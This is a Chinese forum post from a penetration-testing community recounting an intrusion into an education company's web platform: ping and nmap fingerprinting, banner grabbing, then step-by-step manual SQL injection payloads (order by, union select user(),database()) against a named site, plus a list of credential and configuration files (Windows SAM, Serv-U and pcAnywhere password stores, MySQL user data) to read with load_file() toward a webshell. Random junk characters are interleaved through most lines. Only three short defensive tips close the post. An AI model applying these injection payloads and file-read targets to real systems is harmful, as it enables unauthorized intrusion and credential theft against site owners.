中国网络渗透测试联盟

标题: 记一次Linux系统PHP注入入侵检测 [打印本页]

作者: admin    时间: 2013-2-16 22:23
标题: 记一次Linux系统PHP注入入侵检测
题记:
( ~- \7 U! }8 b: d7 A0 m一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……/ k3 a7 P. \) |! w) z
第一步:获取需要的信息( @6 \) D! |- x# ?) @  P/ q
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
- v6 @" x+ V0 }% z& t" A- n: U注:以下为保护特用XXX代替敏感信息+ {) {0 T  V7 Z: I) C) f, p; s
顺手先PING了一下他们的域名:
3 |+ J# R5 O' I5 cping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
5 n( t& Q* A: g: @64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms! M4 J  R" l7 }: d0 N2 P1 e
顺便了解一下TTL,学好基础知识才能一路顺风:
( I9 V+ G, P& M  s  [8 ATTL:(Time To Live ) 生存时间' A3 F( g. F# n; \* T
指定数据包被路由器丢弃之前允许通过的网段数量。
' Z4 ?5 O. [0 L3 S6 H9 }TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
$ u4 H0 {% j$ V8 K+ o8 K* Y, k: u使用PING时涉及到的 ICMP 报文类型
$ |  M/ |! q* q# J8 F* ?一个为ICMP请求回显(ICMP Echo Request)" Z. P  c% T( ^/ V( n6 F/ C
一个为ICMP回显应答(ICMP Echo Reply)% @- o4 A' u6 R8 l, z  L
TTL 字段值可以帮助我们识别操作系统类型。3 p$ V, E1 e. {0 a- k  e$ Z- d
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
. d) n5 [* i: s% |, VCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
5 e( L& S+ g" ~; d; p" G4 a+ S" e3 b微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
. j( |4 J4 }- h6 [& Y& k微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
- I" D7 b, q9 p( M5 f当然,返回的TTL值是相同的
& f; e  d2 z0 M5 f但有些情况下有所特殊
% T$ E6 \" K9 W7 xLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64, R" g/ j7 d" a+ y; m
FreeBSD 4.1, 4.0, 3.4;
+ o8 x, b0 o8 u- s: c+ ~: g0 g' xSun Solaris 2.5.1, 2.6, 2.7, 2.8;: \1 A6 ]5 b. Y# ?0 {, a3 V
OpenBSD 2.6, 2.7,6 X& F- |9 ]& @3 C- D- M: v8 v& m
NetBSD
3 @: ^* V$ ^6 OHP UX 10.20' Z+ S) Y) p/ X% A
ICMP 回显应答的 TTL 字段值为 2558 E- H9 D9 t' c# X
Windows 95/98/98SE! f9 v* Y( r' B5 e; f' e$ q' y/ r
Windows ME* z' Y. r# N, C0 k7 L, [0 ~
ICMP 回显应答的 TTL 字段值为 326 i; L- h( z$ j
Windows NT4 WRKS* d' `  X# e8 D' ~
Windows NT4 Server2 Z; Y7 c: e/ p* ~- d# ~4 F
Windows 2000
4 C) Y1 F5 f% h& z2 R" FWindows XP% o% [8 c% c- C8 [
ICMP 回显应答的 TTL 字段值为 128- [8 h3 v# y" [: n
这样,我们就可以通过这种方法来辨别操作系统/ {8 M3 h9 O8 }; b+ x9 v
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255& d8 {+ p6 h5 t9 J/ u
用NMAP扫描一下:
7 `2 e8 @% ^2 |( W- Onmap -sT -O XXX.XXX.XXX.XXX! f' z5 q; G) P( z* j# t
如果没有装WinPcap则会弹出提示:
. A4 r9 f$ Q  }( GWARNING: Could not import all necessary WinPcap functions.  You may need to upgr2 `  Y7 g( O% S9 n
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(2 V8 W! o' s! q1 p; i3 e4 e
) mode — Nmap may not function completely
0 N7 b) Z+ B) |% {/ O1 ^- t6 DTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
9 L( q) g8 Q& D8 ~* Nand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
$ ]& g% s1 x  e2 [; }2 _pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
7 R1 `  A  T2 u# y% f: D/ ^d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
2 w9 z; p+ F) a3 e# q! oersions, you may be able to take iphlpapi.dll from another system and place it i$ _. j5 H% a4 a" y5 t
n your system32 dir (e.g. c:\windows\system32).
% e: T! G# G2 ^9 _- ?3 nQUITTING!4 N) k/ h3 o. J6 T$ T
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe& y9 J! s9 p; i2 K$ Z
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:- G1 [% D. ^( M/ Z7 ^
Interesting ports on XXX.XXX.XXX.XXX:) T9 r8 ?' K: p5 b" z/ e3 l
Not shown: 986 closed ports8 Q0 [  H/ \% H. K" a. c
PORT     STATE    SERVICE
9 s# f) `7 v# m3 P21/tcp   open     ftp/ i: \8 |) v) N* [7 }
22/tcp   open     ssh- O0 k3 U( C5 x3 M7 A6 I
23/tcp   open     telnet
/ v* i; X5 P4 t+ y7 q) s1 X) T80/tcp   open     http# Z6 |+ p, G# F5 u, Z
111/tcp  open     rpcbind( x; u% X% R! e9 D- X  Z- Y
135/tcp  filtered msrpc' k# E' F' f1 N& e2 t/ R; k
139/tcp  filtered netbios-ssn
! g+ O  |% j1 M, k9 f445/tcp  filtered microsoft-ds
' I1 O, c* M1 t1 M1 Y5 o513/tcp  open     login
4 V' y6 d( W) O  s$ o514/tcp  open     shell
7 W  p5 s: h! @593/tcp  filtered http-rpc-epmap
" Q+ B2 z$ x3 t" V0 |* A& r1720/tcp filtered H.323/Q.931
8 ]! g% ]( g9 r! r  L3306/tcp open     mysql, v- R% @( o( Q- C# X
4444/tcp filtered krb524
' Z( k9 r$ i  Z) SDevice type: WAP! S7 f* Q1 k9 a8 ]' N
Running: Linux 2.4.X9 \1 r4 n$ E- L9 K( a
OS details: DD-WRT (Linux 2.4.35s)+ ?, s# ~0 l3 B# a5 b
Network Distance: 13 hops
6 f  P- F; J; U( F7 V看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
% a. |& X0 F- plogin as:% w0 G5 @% q4 J; Q) Z
Telnet23端口也是开着的,用telnet 命令链接一下:
" v5 H5 Q  I; S6 U/ f: f( Q) {6 _, p/ Atelnet XXX.XXX.XXX.XXX
1 r  v& p! e. Q提示:
2 S4 q- }8 l0 J8 y$ L- I( RRed Hat Enterprise Linux Server release 5.2 (Tikanga)" P8 i& ]7 l+ a' q
Kernel 2.6.18-92.el5PAE on an i686" v8 q$ ?6 \# e+ \
login:+ C$ y+ e2 q% o7 {. Q0 a
获取HTTP头信息:
. m. g1 E7 w) x. O8 D在本地执行如下PHP代码$ Z8 W/ E+ C; x$ O( Y- G# ?6 Y! H
<?php
5 h4 V8 n- m0 Y) L; }$url = ‘XXX.XXX.XXX.XXX’;
) }* l7 p- z* ?- ?. ?print_r(get_headers($url));+ h  o: I! ]& W4 W5 x5 ?
print_r(get_headers($url, 1));- ^6 ~% i$ z+ Y1 H0 B4 o2 C8 T
?>
9 v6 b( R+ V0 ]! O) ^* X将以上代码保存为PHP文件,执行:. L& i  D: e, c& u/ X7 o/ i# m6 a; |
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
5 b' }2 r8 x/ v- Z; n现在可以得出结论:6 P3 ]# ?6 G8 Y  W7 Q
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)8 w0 J, I8 M% \% J  C! Z
内核版本:Kernel 2.6.18-92.el5PAE on an i686% l! V( B" P& U' F4 p; f! P
WEB服务器版本:nginx/0.7.61
) E! k6 t" n3 C! l" n第二步,开始测试寻找漏洞7 Q2 m% |0 C) c" F5 \
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。8 U! l2 s- v$ [) h, N
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的2 M2 I6 L+ H, D6 f3 `8 ]: X
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
% U2 {: q6 D  e# Uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
3 `0 I; }0 d" F) phttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误8 Y% @# X; h" h2 I7 }$ s
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
- D2 {  o+ ~+ s3、手工注入:
7 N) q: I( n/ U7 K, o: s注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
6 V: p# F4 F: z. ]3.1 猜测当前表字段数# R1 R8 T2 e5 f8 j6 j
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
7 G) D, J; W  [1 z此处猜测有个简单的算法,都是有技巧的吗,呵呵# u  }1 Z$ x- O1 y  @) f
算法简单如下:
2 B0 v! d. x' \第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;: `# g3 }. n  d# X! s
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
9 b9 c: z3 H8 j  H; [需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。- m( m' W2 o+ T. o
以此来判断,是否过界,配合取中算法猜出字段数。
, [9 _+ v: M, h" H6 Q' l1 e举例:8 n- F* m2 z3 H) z& b
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常3 Y( U; }* W2 n0 ]3 m6 e
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误1 [) ~, h0 w! d& l2 S
此时3则为我们要找的字段数。
. ?( d8 J- H0 f# P, w3 a* A3.2 配合union联合查询字段在页面所位置, S  y$ P( Y# e' k! n" n7 I
我们已经知道了字段数为3,此时则可以做如下操作:
. D% p( \3 g% h! z2 J5 E: hhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
3 w0 Z( q; X+ t* i  a) Q) U1 P+ c* ~* p. k) V
这样就可以测试到哪些字段在页面上有所显示了,如图:8 k+ m  y+ W, s& j4 q. G$ e

# _/ j  \. e( j1 U3.3 查敏感信息. H( {1 }- w! @, M' d" a4 z2 L* A
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。% h# w* o% ]+ J' U$ ~5 _( O4 T+ h
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()* A- B0 q/ w6 P1 G% e" Z
3.3.1 先查数据库用户、数据库名,以备后用,如图:2 }) r8 X0 W3 Q

9 X2 D$ f* F7 [8 M& @0 T1 J得到数据库用户为root、数据库名为DBxx;1 [5 ^5 S' f3 [# Z  m* _: E
3.3.2 查配置文件# y7 S$ |- W3 u6 e; o, i# i2 s) e
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
. G* w* f7 V) w& L* s/ x+ i* v4 E查看文件有一定的条件限制:9 S* ^3 Q1 v9 @/ y& q
欲读取文件必须在服务器上
' E) x3 U1 R- d' W* Z: Z必须指定文件完整的路径* Y$ y6 ^$ r. F5 Y. }+ Z$ x: T. V- c
必须有权限读取并且文件必须完全可读1 S7 Q# i# M3 o# U4 D
欲读取文件必须小于 max_allowed_packet
# I/ ~# v0 S! ZMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
! ^$ \5 @# E9 M4 A6 S常用的一些:
, @7 N" _( m9 Y  ?# {- u  K6 g+ b/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件7 U5 |& D" a# T2 {5 Z. a
/usr/local/apache2/conf/httpd.conf
' a4 C% I, n% v: h8 x1 S" w/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
$ W' g7 J( {$ Q6 B/usr/local/app/php5/lib/php.ini //PHP相关设置$ z3 O2 e- i: M8 f- M
/etc/sysconfig/iptables //从中得到防火墙规则策略
1 u7 d6 c9 L& L' I4 ~/etc/httpd/conf/httpd.conf // apache配置文件( n  t1 _2 A5 @6 R
/etc/rsyncd.conf //同步程序配置文件& ~8 [! C9 Y; i5 C! P( A
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.8 w2 p2 G3 ^  y9 {4 f% k* M1 q  C
/etc/my.cnf //mysql的配置文件7 r  e( Z! @1 D7 g8 O# U2 D# y& r
/etc/redhat-release //系统版本1 j3 E( \3 P6 q; D2 I& w
/etc/issue5 O/ H5 N2 ?+ q% G9 }4 D* G
/etc/issue.net7 @* `$ v" ]5 \- G8 ^8 q- W
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码/ i0 T! z0 I/ F1 V6 Z6 K9 V
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码  H/ X3 e6 k; Z7 D
c:\Program Files\Serv-U\ServUDaemon.ini
$ K5 G! M( @6 q; k' sc:\windows\my.ini //MYSQL配置文件* T# U5 J+ G  j
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
9 d  c. `# j, Y5 |& k5 R等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
# c4 F  J& o! j$ r2 N0 Cc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码+ K) m+ m) C, {' E
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此: l( }9 {' _: b7 |6 \
c:\Program Files\RhinoSoft.com\ServUDaemon.exe2 V; p# u: a; x# T
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
* M4 e3 F: e8 }* z; s" B8 Y//存储了pcAnywhere的登陆密码
2 w! @0 m7 E8 e由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。  c+ [7 P5 A5 x
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
7 K7 @; {: [5 {1 y6 }最后:防范措施
# E! u. B3 ~) X- P' G. `1、修复PHP注入漏洞;' ~3 `. L! A- p  y
2、Mysql使用普通权限的用户;
$ M1 o  v6 M8 {" K( X* T3、升级linux内核至最新版本;




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2